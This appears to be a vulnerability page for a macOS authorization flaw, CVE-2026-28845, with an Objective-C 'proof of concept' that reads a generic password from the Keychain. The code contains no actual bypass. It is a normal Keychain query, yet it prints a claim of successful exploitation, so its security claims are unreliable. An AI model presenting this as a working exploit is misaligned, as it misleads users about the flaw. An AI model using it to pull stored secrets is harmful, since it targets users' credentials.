CVE-2026-28845 macOS授权问题漏洞

/* * PoC for CVE-2026-28845 (macOS Authorization Issue) * This is a conceptual demonstration showing how an app might attempt * to access protected data by exploiting state management flaws. * Compile for macOS platform. */ #include <Foundation/Foundation.h> #include <Security/Security.h> int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"[+] Attempting to exploit CVE-2026-28845..."); // Simulate the specific state where authorization check is bypassed // In a real scenario, this would involve precise timing or specific API calls // that trigger the vulnerable state management logic. CFTypeRef accessRef; OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)@{ (__bridge NSString *)kSecClass: (__bridge NSString *)kSecClassGenericPassword, (__bridge NSString *)kSecAttrAccount: @"protected_data", (__bridge NSString *)kSecReturnData: @YES, (__bridge NSString *)kSecMatchLimit: (__bridge NSString *)kSecMatchLimitOne }, &accessRef); if (status == errSecSuccess) { NSLog(@"[!] Successfully accessed protected user data due to authorization bypass!"); NSData *data = (__bridge_transfer NSData *)accessRef; NSLog(@"[+] Data: %@", data); } else { NSLog(@"[-] Failed to access data. Status: %d", (int)status); } } return 0; }